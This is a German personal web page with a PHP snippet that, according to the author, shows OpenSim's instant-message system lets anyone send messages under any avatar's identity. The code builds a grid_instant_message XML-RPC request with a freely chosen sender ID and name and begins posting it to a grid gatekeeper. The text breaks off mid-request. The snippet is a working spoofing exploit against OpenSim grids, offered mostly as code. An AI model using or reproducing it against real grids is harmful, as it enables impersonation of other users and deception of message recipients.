Adult Life Hero-Bild

Willkommen bei Adult Life

Break the fucking rules

Code

Eigene Code-Beispiele, Snippets und technische Notizen.

PHP

Opensim - Der Trugschluss

Viele sind der fälschlichen Meinung, dass OpenSIM relativ sicher ist.
Vor Urzeiten habe ich mal einen Code gefunden, der anderen Usern in OpenSIM ein IM zukommen lassen. Soweit nicht das Problem. Das Problem: Als Absender der IM kann jeder x beliebige Avatar
Details
 $im_xml_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?>" .
                   "<methodCall><methodName>grid_instant_message</methodName><params><param><value><struct>" .
                   "<member><name>position_x</name><value><string>0</string></value></member>" .
                   "<member><name>position_y</name><value><string>0</string></value></member>" .
                   "<member><name>position_z</name><value><string>0</string></value></member>" .
                   "<member><name>to_agent_id</name><value><string>" . htmlspecialchars($to_agent_id) . "</string></value></member>" .
                   "<member><name>from_agent_session</name><value><string>00000000-0000-0000-0000-000000000000</string></value></member>" .
                   "<member><name>im_session_id</name><value><string>" . htmlspecialchars($from_agent_id) . "</string></value></member>" .
                   "<member><name>from_agent_name</name><value><string>" . htmlspecialchars($from_agent_name) . "</string></value></member>" .
                   "<member><name>from_agent_id</name><value><string>" . htmlspecialchars($from_agent_id) . "</string></value></member>" .
                   "<member><name>binary_bucket</name><value><string>AA==</string></value></member>" .
                   "<member><name>region_handle</name><value><i4>0</i4></value></member>" .
                   "<member><name>region_id</name><value><string>00000000-0000-0000-0000-000000000000</string></value></member>" .
                   "<member><name>parent_estate_id</name><value><string>1</string></value></member>" .
                   "<member><name>timestamp</name><value><string>" . time() . "</string></value></member>" .
                   "<member><name>dialog</name><value><string>AA==</string></value></member>" .
                   "<member><name>offline</name><value><string>AA==</string></value></member>" .
                   "<member><name>from_group</name><value><string>FALSE</string></value></member>" .
                   "<member><name>message</name><value><string>" . htmlspecialchars($message) . "</string></value></member>" .
                   "</struct></value></param></params></methodCall>";

    // --- CURL-Anfrage an den OpenSim Gatekeeper senden ---
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $grid_gatekeeper_url);
    curl_setopt($ch, CURLOPT_POST, 1);